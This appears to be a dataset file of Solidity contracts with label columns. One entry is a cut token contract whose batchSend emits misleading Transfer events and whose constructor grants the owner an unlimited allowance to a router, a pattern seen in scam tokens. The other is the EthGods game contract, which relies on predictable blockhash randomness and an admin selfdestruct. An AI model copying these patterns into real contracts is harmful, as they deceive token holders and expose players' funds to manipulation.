function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 253 |
pragma solidity ^0.4.24;
contract EthGods {
EthGodsName private eth_gods_name;
function set_eth_gods_name_contract_address(address eth_gods_name_contract_address) public returns (bool) {
require(msg.sender == admin);
eth_gods_name = EthGodsName(eth_gods_name_contract_address);
return true;
}
EthGodsDice private eth_gods_dice;
function set_eth_gods_dice_contract_address(address eth_gods_dice_contract_address) public returns (bool) {
require(msg.sender == admin);
eth_gods_dice = EthGodsDice(eth_gods_dice_contract_address);
return true;
}
bool private contract_created;
address private contract_address;
string private contact_email = "[email protected]";
string private official_url = "swarm-gateways.net/bzz:/ethgods.eth";
address private admin;
address private controller1 = 0xcA5A9Db0EF9a0Bf5C38Fc86fdE6CB897d9d86adD;
address private controller2 = 0x8396D94046a099113E5fe5CBad7eC95e96c2B796;
address private v_god = 0xfB6916095ca1df60bB79Ce92cE3Ea74c37c5d359;
uint private block_hash_duration = 255;
struct god {
uint god_id;
uint level;
uint exp;
uint pet_type;
uint pet_level;
uint listed;
uint invite_price;
uint free_rounds;
uint paid_rounds;
bool hosted_pray;
uint bid_eth;
uint credit;
uint count_amulets_generated;
uint first_amulet_generated;
uint count_amulets_at_hand;
uint count_amulets_selling;
uint amulets_start_id;
uint amulets_end_id;
uint count_token_orders;
uint first_active_token_order;
uint last_ticket_number;
uint count_tickets;
uint inviter_id;
uint count_gods_invited;
}
uint private count_gods = 0;
mapping(address => god) private gods;
mapping(uint => address) private gods_address;
uint [] private listed_gods;
uint private max_listed_gods = 10000;
uint private initial_invite_price = 0.02 ether;
uint private invite_price_increase = 0.02 ether;
uint private max_invite_price = 1000 ether;
uint private max_extra_eth = 0.001 ether;
uint private list_level = 10;
uint private max_gas_price = 100000000000;
struct amulet {
uint god_id;
address owner;
uint level;
uint bound_start_block;
uint start_selling_block;
uint price;
}
uint private count_amulets = 0;
mapping(uint => amulet) private amulets;
uint private bound_duration = 9000;
uint private order_duration = 20000;
address private pray_host_god;
bool private pray_reward_top100;
uint private pray_start_block;
bool private rewarded_pray_winners = false;
uint private count_hosted_gods;
mapping (uint => address) private bidding_gods;
uint private initializer_reward = 60;
uint private double_egst_fee = 0.006 ether;
mapping(uint => uint) private max_winners;
uint private round_duration = 6666;
struct ticket {
address owner;
uint block_number;
bytes32 block_hash;
uint new_ticket_number;
uint dice_result;
}
uint private count_tickets;
mapping (uint => ticket) private tickets;
uint private used_tickets;
uint private max_show_tickets = 20;
mapping(uint => uint) private pk_positions;
mapping(uint => uint) private count_listed_winners;
mapping (uint => mapping(uint => address)) private listed_winners;
bool private reEntrancyMutex = false;
uint private pray_egses = 0;
uint private pray_egst = 0;
uint private reward_pool_egses = 0;
uint private reward_pool_egst = 0;
mapping(address => uint) egses_balances;
string public name = "EthGodsToken";
string public symbol = "EGST";
uint8 public constant decimals = 18;
uint private _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
struct token_order {
uint id;
uint start_selling_block;
address seller;
uint unit_price;
uint egst_amount;
}
uint private count_token_orders = 0;
mapping (uint => token_order) token_orders;
uint private first_active_token_order = 0;
uint private min_unit_price = 20;
uint private max_unit_price = 200;
uint private max_egst_amount = 1000000 ether;
uint private min_egst_amount = 0.00001 ether;
uint private count_rounds = 0;
struct winner_log {
address previous_winner;
uint prize;
bool pk_result;
uint ticket_number;
}
mapping (uint => uint) private count_rounds_winner_logs;
mapping(uint => mapping(uint => winner_log)) private winner_logs;
struct change_log {
uint block_number;
uint asset_type;
uint reason;
uint change_amount;
uint after_amount;
address _from;
address _to;
}
mapping (uint => uint) private count_rounds_change_logs;
mapping(uint => mapping(uint => change_log)) private change_logs;
constructor () public {
require (contract_created == false);
contract_created = true;
contract_address = address(this);
admin = msg.sender;
create_god(admin, 0);
create_god(v_god, 0);
gods[v_god].level = 10;
enlist_god(v_god);
max_winners[1] = 1;
max_winners[2] = 2;
max_winners[3] = 6;
_totalSupply = 6000000 ether;
pray_egst = 2000 ether;
balances[admin] = sub(_totalSupply, pray_egst);
initialize_pray();
}
function finalize() public {
require(msg.sender == admin && count_rounds <= 3);
selfdestruct(admin);
}
function () public payable {
revert ();
}
function get_controller () public view returns (address, address){
require (msg.sender == admin || msg.sender == controller1 || msg.sender == controller2);
return (controller1, controller2);
}
function set_controller (uint controller_index, address new_controller_address) public returns (bool){
if (controller_index == 1){
require(msg.sender == controller2);
controller1 = new_controller_address;
} else {
require(msg.sender == controller1);
controller2 = new_controller_address;
}
return true;
}
function set_admin (address new_admin_address) public returns (bool) {
require (msg.sender == controller1 || msg.sender == controller2);
delete gods[admin];
delete gods_address[0];
admin = new_admin_address;
gods_address[0] = admin;
gods[admin].god_id = 0;
return true;
}
function set_parameters (uint parameter_type, uint new_parameter) public returns (bool){
require (msg.sender == admin);
if (parameter_type == 1) {
} else if (parameter_type == 2) {
round_duration = new_parameter;
} else if (parameter_type == 3) {
block_hash_duration = new_parameter;
} else if (parameter_type == 4) {
double_egst_fee = new_parameter;
} else if (parameter_type == 5) {
order_duration = new_parameter;
} else if (parameter_type == 6) {
bound_duration = new_parameter;
} else if (parameter_type == 7) {
initializer_reward = new_parameter;
} else if (parameter_type == 8) {
max_extra_eth = new_parameter;
} else if (parameter_type == 9) {
min_unit_price = new_parameter;
} else if (parameter_type == 10) {
max_unit_price = new_parameter;
} else if (parameter_type == 11) {
max_listed_gods = new_parameter;
} else if (parameter_type == 12) {
max_gas_price = new_parameter;
} else if (parameter_type == 13) {
max_invite_price = new_parameter;
} else if (parameter_type == 14) {
min_egst_amount = new_parameter;
} else if (parameter_type == 15) {
max_egst_amount = new_parameter;
} else if (parameter_type == 16) {
max_show_tickets = new_parameter;
}
return true;
}
function set_strings (uint string_type, string new_string) public returns (bool){
require (msg.sender == admin);
if (string_type == 1){
official_url = new_string;
} else if (string_type == 2){
name = new_string;
} else if (string_type == 3){
symbol = new_string;
} else if (string_type == 4){
contact_email = new_string;
} else if (string_type == 5){
reEntrancyMutex = false;
}
return true;
}
function admin_reset_pray() public returns (bool){
require (msg.sender == admin);
if (pray_start_block > block.number){
pray_start_block = block.number;
} else if (check_event_completed() == true) {
if (rewarded_pray_winners == false){
reward_pray_winners();
} else {
initialize_pray();
}
}
}
function query_contract () public view returns(address, address, address, uint, uint, bool, bool){
(uint highest_bid, address highest_bidder) = compare_bid_eth();
return (admin,
pray_host_god,
highest_bidder,
highest_bid,
block_hash_duration,
pray_reward_top100,
rewarded_pray_winners
);
}
function query_contract2 () public view returns (string, string, address, bool){
return (official_url, contact_email, v_god, reEntrancyMutex);
}
function query_uints () public view returns (uint[32] uints){
uints[0] = max_invite_price;
uints[1] = list_level;
uints[2] = _totalSupply;
uints[3] = round_duration;
uints[4] = initializer_reward;
uints[5] = min_unit_price;
uints[6] = max_unit_price;
uints[7] = max_listed_gods;
uints[8] = max_gas_price;
uints[9] = min_egst_amount;
uints[10] = max_egst_amount;
uints[11] = max_extra_eth;
uints[12] = pray_start_block;
uints[13] = pray_egses;
uints[14] = pray_egst;
uints[15] = count_rounds;
uints[16] = count_gods;
uints[17] = listed_gods.length;
uints[18] = order_duration;
uints[19] = bound_duration;
uints[20] = initial_invite_price;
uints[21] = invite_price_increase;
uints[22] = max_invite_price;
uints[23] = count_amulets;
uints[24] = count_hosted_gods;
uints[25] = used_tickets;
uints[26] = double_egst_fee;
uints[27] = count_tickets;
uints[28] = reward_pool_egses;
uints[29] = reward_pool_egst;
uints[30] = block.number;
uints[31] = contract_address.balance;
return uints;
}
function create_god (address god_address, uint inviter_id) private returns(uint god_id){
if (gods[god_address].credit == 0) {
god_id = count_gods;
count_gods = add(count_gods, 1) ;
gods_address[god_id] = god_address;
gods[god_address].god_id = god_id;
gods[god_address].credit = 0.001 ether;
if (god_id > 0 && inviter_id > 0 && inviter_id < count_gods){
set_inviter(inviter_id);
}
return god_id;
}
}
function set_inviter (uint inviter_id) private returns (bool){
if (inviter_id > 0 && gods_address[inviter_id] != address(0)
&& gods[msg.sender].inviter_id == 0
&& gods[gods_address[inviter_id]].inviter_id != gods[msg.sender].god_id){
gods[msg.sender].inviter_id = inviter_id;
address inviter_address = gods_address[inviter_id];
gods[inviter_address].count_gods_invited = add(gods[inviter_address].count_gods_invited, 1);
return true;
}
}
function add_exp (address god_address, uint exp_up) private returns(uint new_level, uint new_exp) {
if (god_address == admin){
return (0,0);
}
if (gods[god_address].god_id == 0){
create_god(god_address, 0);
}
new_exp = add(gods[god_address].exp, exp_up);
uint current_god_level = gods[god_address].level;
uint level_up_exp;
new_level = current_god_level;
for (uint i=0;i<10;i++){
if (current_god_level < 99){
level_up_exp = mul(10, add(new_level, 1));
} else {
level_up_exp = 1000;
}
if (new_exp >= level_up_exp){
new_exp = sub(new_exp, level_up_exp);
new_level = add(new_level, 1);
} else {
break;
}
}
gods[god_address].exp = new_exp;
if(new_level > current_god_level) {
gods[god_address].level = new_level;
if (gods[god_address].listed > 0) {
if (listed_gods.length > 1) {
sort_gods(gods[god_address].god_id);
}
} else if (new_level >= list_level && listed_gods.length < max_listed_gods) {
enlist_god(god_address);
}
}
return (new_level, new_exp);
}
function enlist_god (address god_address) private returns (uint) {
require(gods[god_address].level >= list_level && god_address != admin);
if (gods[god_address].listed == 0) {
uint god_id = gods[god_address].god_id;
if (god_id == 0){
god_id = create_god(god_address, 0);
}
gods[god_address].listed = listed_gods.push(god_id);
gods[god_address].invite_price = initial_invite_price;
list_level = add(list_level, 1);
bidding_gods[listed_gods.length] = god_address;
}
return list_level;
}
function sort_gods_admin(uint god_id) public returns (bool){
require (msg.sender == admin);
sort_gods(god_id);
return true;
}
function sort_gods (uint god_id) private returns (uint){
require (god_id > 0);
uint list_length = listed_gods.length;
if (list_length > 1) {
address god_address = gods_address[god_id];
uint this_god_listed = gods[god_address].listed;
if (this_god_listed < list_length) {
uint higher_god_listed = add(this_god_listed, 1);
uint higher_god_id = listed_gods[sub(higher_god_listed, 1)];
address higher_god = gods_address[higher_god_id];
if(gods[god_address].level > gods[higher_god].level
|| (gods[god_address].level == gods[higher_god].level
&& gods[god_address].exp > gods[higher_god].exp)){
listed_gods[sub(this_god_listed, 1)] = higher_god_id;
listed_gods[sub(higher_god_listed, 1)] = god_id;
gods[higher_god].listed = this_god_listed;
gods[god_address].listed = higher_god_listed;
}
}
}
return gods[god_address].listed;
}
function invite (uint god_id) public payable returns (uint new_invite_price) {
address god_address = gods_address[god_id];
require(god_id > 0
&& god_id <= count_gods
&& gods[god_address].hosted_pray == true
&& tx.gasprice <= max_gas_price
);
uint invite_price = gods[god_address].invite_price;
require(msg.value >= invite_price);
if (add(invite_price, invite_price_increase) <= max_invite_price) {
gods[god_address].invite_price = add(invite_price, invite_price_increase);
}
uint exp_up = div(invite_price, (10 ** 15));
add_exp(god_address, exp_up);
add_exp(msg.sender, exp_up);
count_amulets = add(count_amulets, 1);
amulets[count_amulets].god_id = god_id;
amulets[count_amulets].owner = msg.sender;
gods[god_address].count_amulets_generated = add(gods[god_address].count_amulets_generated, 1);
if (gods[god_address].count_amulets_generated == 1){
gods[god_address].first_amulet_generated = count_amulets;
}
gods[msg.sender].count_amulets_at_hand = add(gods[msg.sender].count_amulets_at_hand, 1);
update_amulets_count(msg.sender, count_amulets, true);
pray_egses = add(pray_egses, div(mul(60, invite_price), 100));
egses_from_contract(god_address, div(mul(20, invite_price), 100), 2);
reward_inviter(msg.sender, invite_price);
emit invited_god (msg.sender, god_id);
return gods[god_address].invite_price;
}
event invited_god (address msg_sender, uint god_id);
function reward_inviter (address inviter_address, uint invite_price) private returns (bool){
uint previous_share = 0;
uint inviter_share = 0;
uint share_diff;
address rewarding_inviter = inviter_address;
for (uint i = 0; i < 9; i++){
if (rewarding_inviter != address(0) && rewarding_inviter != admin){
share_diff = 0;
gods[rewarding_inviter].credit = add(gods[rewarding_inviter].credit, invite_price);
inviter_share = get_vip_level(rewarding_inviter);
if (inviter_share > previous_share) {
share_diff = sub(inviter_share, previous_share);
if (share_diff > 18) {
share_diff = 18;
}
previous_share = inviter_share;
}
if (share_diff > 0) {
egses_from_contract(rewarding_inviter, div(mul(share_diff, invite_price), 100), 3);
}
rewarding_inviter = gods_address[gods[rewarding_inviter].inviter_id];
} else{
break;
}
}
share_diff = sub(20, inviter_share);
egses_from_contract(admin, div(mul(share_diff, invite_price), 100), 2);
return true;
}
function upgrade_pet () public returns(bool){
uint egst_cost = mul(add(gods[msg.sender].pet_level, 1), 10 ether);
egst_to_contract(msg.sender, egst_cost, 6);
gods[msg.sender].pet_level = add(gods[msg.sender].pet_level, 1);
add_exp(msg.sender, div(egst_cost, 1 ether));
pray_egst = add(pray_egst, egst_cost);
emit upgradeAmulet(msg.sender, 0, gods[msg.sender].pet_level);
return true;
}
event upgradeAmulet (address owner, uint amulet_id, uint new_level);
function set_pet_type (uint new_type) public returns (bool){
if (gods[msg.sender].pet_type != new_type) {
gods[msg.sender].pet_type = new_type;
return true;
}
}
function get_vip_level (address god_address) public view returns (uint vip_level){
uint inviter_credit = gods[god_address].credit;
if (inviter_credit > 500 ether){
vip_level = 18;
} else if (inviter_credit > 200 ether){
vip_level = 15;
} else if (inviter_credit > 100 ether){
vip_level = 12;
} else if (inviter_credit > 50 ether){
vip_level = 10;
} else if (inviter_credit > 20 ether){
vip_level = 8;
} else if (inviter_credit > 10 ether){
vip_level = 6;
} else if (inviter_credit > 5 ether){
vip_level = 5;
} else if (inviter_credit > 2 ether){
vip_level = 4;
} else if (inviter_credit > 1 ether){
vip_level = 3;
} else if (inviter_credit > 0.5 ether){
vip_level = 2;
} else {
vip_level = 1;
}
return vip_level;
}
function get_god_id (address god_address) public view returns (uint god_id){
return gods[god_address].god_id;
}
function get_god_address(uint god_id) public view returns (address){
return gods_address[god_id];
}
function get_god (uint god_id) public view returns(uint, string, uint, uint, uint, uint, bool) {
address god_address = gods_address[god_id];
string memory god_name;
god_name = eth_gods_name.get_god_name(god_address);
if (bytes(god_name).length == 0){
god_name = "Unknown";
}
return (gods[god_address].god_id,
god_name,
gods[god_address].level,
gods[god_address].exp,
gods[god_address].invite_price,
gods[god_address].listed,
gods[god_address].hosted_pray
);
}
function get_god_info (address god_address) public view returns (uint, uint, uint, uint, uint, uint, uint){
return (gods[god_address].last_ticket_number,
gods[god_address].free_rounds,
gods[god_address].paid_rounds,
gods[god_address].pet_type,
gods[god_address].pet_level,
gods[god_address].bid_eth,
gods[god_address].count_tickets
);
}
function get_my_info () public view returns(uint, uint, uint, uint, uint, uint, uint) {
return (gods[msg.sender].god_id,
egses_balances[msg.sender],
balances[msg.sender],
get_vip_level(msg.sender),
gods[msg.sender].credit,
gods[msg.sender].inviter_id,
gods[msg.sender].count_gods_invited
);
}
function get_my_invited () public view returns (uint[]){
uint count_elements = 0;
uint count_gods_invited = gods[msg.sender].count_gods_invited;
uint my_id = gods[msg.sender].god_id;
uint [] memory invited_players = new uint[](count_gods_invited);
if (count_gods_invited > 0) {
for (uint i = 1; i <= count_gods; i++){
if (gods[gods_address[i]].inviter_id == my_id) {
invited_players[count_elements] = i;
count_elements ++;
if (count_elements >= count_gods_invited){
break;
}
}
}
}
return invited_players;
}
function get_listed_gods (uint page_number) public view returns (uint[]){
uint count_listed_gods = listed_gods.length;
require(count_listed_gods <= mul(page_number, 20));
uint[] memory tempArray = new uint[] (20);
if (page_number < 1) {
page_number = 1;
}
for (uint i = 0; i < 20; i++){
if(count_listed_gods > add(i, mul(20, sub(page_number, 1)))) {
tempArray[i] = listed_gods[sub(sub(sub(count_listed_gods, i), 1), mul(20, sub(page_number, 1)))];
} else {
break;
}
}
return tempArray;
}
function upgrade_amulet (uint amulet_id) public returns(uint){
require(amulets[amulet_id].owner == msg.sender);
uint egst_cost = mul(add(amulets[amulet_id].level, 1), 10 ether);
egst_to_contract(msg.sender, egst_cost, 7);
pray_egst = add(pray_egst, egst_cost);
amulets[amulet_id].level = add(amulets[amulet_id].level, 1);
add_exp(msg.sender, div(egst_cost, 1 ether));
emit upgradeAmulet(msg.sender, amulet_id, amulets[amulet_id].level);
return amulets[amulet_id].level;
}
function create_amulet_order (uint amulet_id, uint price) public returns (uint) {
require(msg.sender == amulets[amulet_id].owner
&& amulet_id >= 1 && amulet_id <= count_amulets
&& amulets[amulet_id].start_selling_block == 0
&& add(amulets[amulet_id].bound_start_block, bound_duration) < block.number
&& price > 0);
amulets[amulet_id].start_selling_block = block.number;
amulets[amulet_id].price = price;
gods[msg.sender].count_amulets_at_hand = sub(gods[msg.sender].count_amulets_at_hand, 1);
gods[msg.sender].count_amulets_selling = add(gods[msg.sender].count_amulets_selling, 1);
return gods[msg.sender].count_amulets_selling;
}
function buy_amulet (uint amulet_id) public payable returns (bool) {
uint price = amulets[amulet_id].price;
require(msg.value >= price && msg.value < add(price, max_extra_eth)
&& amulets[amulet_id].start_selling_block > 0
&& amulets[amulet_id].owner != msg.sender
&& price > 0);
address seller = amulets[amulet_id].owner;
amulets[amulet_id].owner = msg.sender;
amulets[amulet_id].bound_start_block = block.number;
amulets[amulet_id].start_selling_block = 0;
gods[msg.sender].count_amulets_at_hand = add(gods[msg.sender].count_amulets_at_hand, 1);
update_amulets_count(msg.sender, amulet_id, true);
gods[seller].count_amulets_selling = sub(gods[seller].count_amulets_selling, 1);
update_amulets_count(seller, amulet_id, false);
egses_from_contract(seller, price, 6);
return true;
}
function withdraw_amulet_order (uint amulet_id) public returns (uint){
require(msg.sender == amulets[amulet_id].owner
&& amulet_id >= 1 && amulet_id <= count_amulets
&& amulets[amulet_id].start_selling_block > 0);
amulets[amulet_id].start_selling_block = 0;
gods[msg.sender].count_amulets_at_hand = add(gods[msg.sender].count_amulets_at_hand, 1);
gods[msg.sender].count_amulets_selling = sub(gods[msg.sender].count_amulets_selling, 1);
return gods[msg.sender].count_amulets_selling;
}
function update_amulets_count (address god_address, uint amulet_id, bool obtained) private returns (uint){
if (obtained == true){
if (amulet_id < gods[god_address].amulets_start_id) {
gods[god_address].amulets_start_id = amulet_id;
}
} else {
if (amulet_id == gods[god_address].amulets_start_id){
for (uint i = amulet_id; i <= count_amulets; i++){
if (amulets[i].owner == god_address && i > amulet_id){
gods[god_address].amulets_start_id = i;
break;
}
}
}
}
return gods[god_address].amulets_start_id;
}
function get_amulets_generated (uint god_id) public view returns (uint[]) {
address god_address = gods_address[god_id];
uint count_amulets_generated = gods[god_address].count_amulets_generated;
uint [] memory temp_list = new uint[](count_amulets_generated);
if (count_amulets_generated > 0) {
uint count_elements = 0;
for (uint i = gods[god_address].first_amulet_generated; i <= count_amulets; i++){
if (amulets[i].god_id == god_id){
temp_list [count_elements] = i;
count_elements++;
if (count_elements >= count_amulets_generated){
break;
}
}
}
}
return temp_list;
}
function get_amulets_at_hand (address god_address) public view returns (uint[]) {
uint count_amulets_at_hand = gods[god_address].count_amulets_at_hand;
uint [] memory temp_list = new uint[] (count_amulets_at_hand);
if (count_amulets_at_hand > 0) {
uint count_elements = 0;
for (uint i = gods[god_address].amulets_start_id; i <= count_amulets; i++){
if (amulets[i].owner == god_address && amulets[i].start_selling_block == 0){
temp_list[count_elements] = i;
count_elements++;
if (count_elements >= count_amulets_at_hand){
break;
}
}
}
}
return temp_list;
}
function get_my_amulets_selling () public view returns (uint[]){
uint count_amulets_selling = gods[msg.sender].count_amulets_selling;
uint [] memory temp_list = new uint[] (count_amulets_selling);
if (count_amulets_selling > 0) {
uint count_elements = 0;
for (uint i = gods[msg.sender].amulets_start_id; i <= count_amulets; i++){
if (amulets[i].owner == msg.sender
&& amulets[i].start_selling_block > 0){
temp_list[count_elements] = i;
count_elements++;
if (count_elements >= count_amulets_selling){
break;
}
}
}
}
return temp_list;
}
function get_amulet_orders_overview () public view returns(uint){
uint count_amulets_selling = 0;
for (uint i = 1; i <= count_amulets; i++){
if (add(amulets[i].start_selling_block, order_duration) > block.number && amulets[i].owner != msg.sender){
count_amulets_selling = add(count_amulets_selling, 1);
}
}
return count_amulets_selling;
}
function get_amulet_orders (uint page_number) public view returns (uint[]){
uint[] memory temp_list = new uint[] (20);
uint count_amulets_selling = 0;
uint count_list_elements = 0;
if ((page_number < 1)
|| count_amulets <= 20) {
page_number = 1;
}
uint start_amulets_count = mul(sub(page_number, 1), 20);
for (uint i = 1; i <= count_amulets; i++){
if (add(amulets[i].start_selling_block, order_duration) > block.number && amulets[i].owner != msg.sender){
if (count_amulets_selling <= start_amulets_count) {
count_amulets_selling ++;
}
if (count_amulets_selling > start_amulets_count){
temp_list[count_list_elements] = i;
count_list_elements ++;
if (count_list_elements >= 20){
break;
}
}
}
}
return temp_list;
}
function get_amulet (uint amulet_id) public view returns(address, string, uint, uint, uint, uint, uint){
uint god_id = amulets[amulet_id].god_id;
string memory god_name = eth_gods_name.get_god_name(gods_address[god_id]);
uint god_level = gods[gods_address[god_id]].level;
uint amulet_level = amulets[amulet_id].level;
uint start_selling_block = amulets[amulet_id].start_selling_block;
uint price = amulets[amulet_id].price;
return(amulets[amulet_id].owner,
god_name,
god_id,
god_level,
amulet_level,
start_selling_block,
price
);
}
function get_amulet2 (uint amulet_id) public view returns(uint){
return amulets[amulet_id].bound_start_block;
}
function admin_deposit (uint egst_amount) public payable returns (bool) {
require (msg.sender == admin);
if (msg.value > 0){
pray_egses = add(pray_egses, msg.value);
egses_from_contract(admin, msg.value, 4);
}
if (egst_amount > 0){
pray_egst = add(pray_egst, egst_amount);
egst_to_contract(admin, egst_amount, 4);
}
return true;
}
function initialize_pray () private returns (bool){
if (pray_start_block > 0) {
require (check_event_completed() == true
&& rewarded_pray_winners == true);
}
count_rounds = add(count_rounds, 1);
count_rounds_winner_logs[count_rounds] = 0;
pray_start_block = block.number;
rewarded_pray_winners = false;
for (uint i = 1; i <= 3; i++){
pk_positions[i] = max_winners[i];
count_listed_winners[i] = 0;
}
if (listed_gods.length > count_hosted_gods) {
count_hosted_gods = add(count_hosted_gods, 1);
pray_host_god = bidding_gods[count_hosted_gods];
gods[pray_host_god].hosted_pray = true;
pray_reward_top100 = true;
} else {
(uint highest_bid, address highest_bidder) = compare_bid_eth();
gods[highest_bidder].bid_eth = 0;
pray_host_god = highest_bidder;
pray_egses = add(pray_egses, highest_bid);
pray_reward_top100 = false;
}
reward_pool_egses = div(pray_egses, 10);
reward_pool_egst = div(pray_egst, 10);
pray_egst = sub(pray_egst, reward_pool_egst);
return true;
}
function bid_host () public payable returns (bool) {
require (msg.value > 0 && gods[msg.sender].listed > 0);
gods[msg.sender].bid_eth = add (gods[msg.sender].bid_eth, msg.value);
return true;
}
function withdraw_bid () public returns (bool) {
uint bid_eth = gods[msg.sender].bid_eth;
require(bid_eth > 0);
gods[msg.sender].bid_eth = 0;
egses_from_contract(msg.sender, bid_eth, 8);
return true;
}
function create_ticket(address owner_address) private returns (uint) {
count_tickets = add(count_tickets, 1);
tickets[count_tickets].block_number = add(block.number, 1);
tickets[count_tickets].owner = owner_address;
gods[owner_address].last_ticket_number = count_tickets;
gods[owner_address].count_tickets = add(gods[owner_address].count_tickets, 1);
return count_tickets;
}
function pray (uint inviter_id) public payable returns (bool){
require (tx.gasprice <= max_gas_price);
if (gods[msg.sender].credit == 0) {
create_god(msg.sender, inviter_id);
}
if (gods[msg.sender].free_rounds >= count_rounds){
require (msg.value == double_egst_fee);
if (gods[msg.sender].paid_rounds != count_rounds){
gods[msg.sender].paid_rounds = count_rounds;
}
add_exp(msg.sender, 6);
pray_egses = add(pray_egses, double_egst_fee);
} else {
require (msg.value == 0);
gods[msg.sender].free_rounds = count_rounds;
}
create_ticket(msg.sender);
if (used_tickets < count_tickets) {
ticket storage using_ticket = tickets[add(used_tickets, 1)];
uint block_number = using_ticket.block_number;
if (block_number < block.number) {
used_tickets = add(used_tickets, 1);
address waiting_prayer = using_ticket.owner;
if (add(block_number, block_hash_duration) <= block.number) {
using_ticket.new_ticket_number = create_ticket(waiting_prayer);
} else {
bytes32 block_hash = keccak256(abi.encodePacked(blockhash(block_number)));
using_ticket.block_hash = block_hash;
uint dice_result = eth_gods_dice.throw_dice (block_hash)[0];
using_ticket.dice_result = dice_result;
if (dice_result >= 1 && dice_result <= 3){
set_winner(dice_result, used_tickets);
} else {
add_exp(waiting_prayer, 6);
}
}
}
}
add_exp(pray_host_god, 1);
if (check_event_completed() == true && rewarded_pray_winners == false) {
reward_pray_winners();
}
return true;
}
function set_winner (uint prize, uint ticket_number) private returns (uint){
count_rounds_winner_logs[count_rounds] = add(count_rounds_winner_logs[count_rounds], 1);
winner_logs[count_rounds][count_rounds_winner_logs[count_rounds]].ticket_number = ticket_number;
winner_logs[count_rounds][count_rounds_winner_logs[count_rounds]].prize = prize;
address waiting_prayer = tickets[ticket_number].owner;
bytes32 block_hash = tickets[ticket_number].block_hash;
if (count_listed_winners[prize] >= max_winners[prize]){
uint pk_position = pk_positions[prize];
address previous_winner = listed_winners[prize][pk_position];
bool pk_result = pk(waiting_prayer, previous_winner, block_hash);
winner_logs[count_rounds][count_rounds_winner_logs[count_rounds]].pk_result = pk_result;
winner_logs[count_rounds][count_rounds_winner_logs[count_rounds]].previous_winner = previous_winner;
if (pk_result == true) {
listed_winners[prize][pk_position] = waiting_prayer;
}
if (prize > 1) {
if (pk_positions[prize] > 1){
pk_positions[prize] = sub(pk_positions[prize], 1);
} else {
pk_positions[prize] = max_winners[prize];
}
}
} else {
count_listed_winners[prize] = add(count_listed_winners[prize], 1);
listed_winners[prize][count_listed_winners[prize]] = waiting_prayer;
}
return count_listed_winners[prize];
}
function reward_pray_winners () private returns (bool){
require (check_event_completed() == true && rewarded_pray_winners == false);
egst_from_contract(pray_host_god, mul(div(reward_pool_egst, 100), 50), 1);
uint this_reward_egses = 0;
uint this_reward_egst = 0;
for (uint i = 1; i<=3; i++){
if (i == 1) {
this_reward_egses = mul(div(reward_pool_egses, 100), 60);
} else if (i == 2){
this_reward_egses = mul(div(reward_pool_egses, 100), 20);
} else if (i == 3){
this_reward_egst = mul(div(reward_pool_egst, 100), 8);
}
for (uint reward_i = 1; reward_i <= count_listed_winners[i]; reward_i++){
address rewarding_winner = listed_winners[i][reward_i];
if (this_reward_egses > 0 ) {
egses_from_contract(rewarding_winner, this_reward_egses, 1);
pray_egses = sub(pray_egses, this_reward_egses);
} else if (this_reward_egst > 0) {
if (gods[rewarding_winner].paid_rounds < count_rounds){
egst_from_contract(rewarding_winner, this_reward_egst, 1);
} else {
egst_from_contract(rewarding_winner, mul(this_reward_egst, 2), 1);
_totalSupply = add(_totalSupply, this_reward_egst);
if (gods[rewarding_winner].paid_rounds > count_rounds){
gods[rewarding_winner].paid_rounds = count_rounds;
}
}
}
}
}
uint burn_egst = div(reward_pool_egst, 50);
if (count_listed_winners[3] < max_winners[3]) {
burn_egst = add(burn_egst, mul(this_reward_egst, sub(max_winners[3], count_listed_winners[3])));
}
_totalSupply = sub(_totalSupply, burn_egst);
if(pray_reward_top100 == true) {
reward_top_gods();
}
egst_from_contract(msg.sender, mul(initializer_reward, 1 ether), 1);
_totalSupply = add(_totalSupply, mul(initializer_reward, 1 ether));
add_exp(msg.sender, initializer_reward);
rewarded_pray_winners = true;
initialize_pray();
return true;
}
function reward_top_gods () private returns (bool){
uint count_listed_gods = listed_gods.length;
uint last_god_index;
if (count_listed_gods > 100) {
last_god_index = sub(count_listed_gods, 100);
} else {
last_god_index = 0;
}
uint reward_egst = 0;
uint base_reward = 6 ether;
if (count_rounds == 6){
base_reward = mul(base_reward, 6);
}
for (uint i = last_god_index; i < count_listed_gods; i++) {
reward_egst = mul(base_reward, sub(add(i, 1), last_god_index));
egst_from_contract(gods_address[listed_gods[i]], reward_egst, 2);
_totalSupply = add(_totalSupply, reward_egst);
}
return true;
}
function compare_bid_eth () private view returns (uint, address) {
uint highest_bid = 0;
address highest_bidder = v_god;
for (uint j = 1; j <= listed_gods.length; j++){
if (gods[bidding_gods[j]].bid_eth > highest_bid){
highest_bid = gods[bidding_gods[j]].bid_eth;
highest_bidder = bidding_gods[j];
}
}
return (highest_bid, highest_bidder);
}
function check_event_completed () public view returns (bool){
if (add(pray_start_block, round_duration) < block.number){
return true;
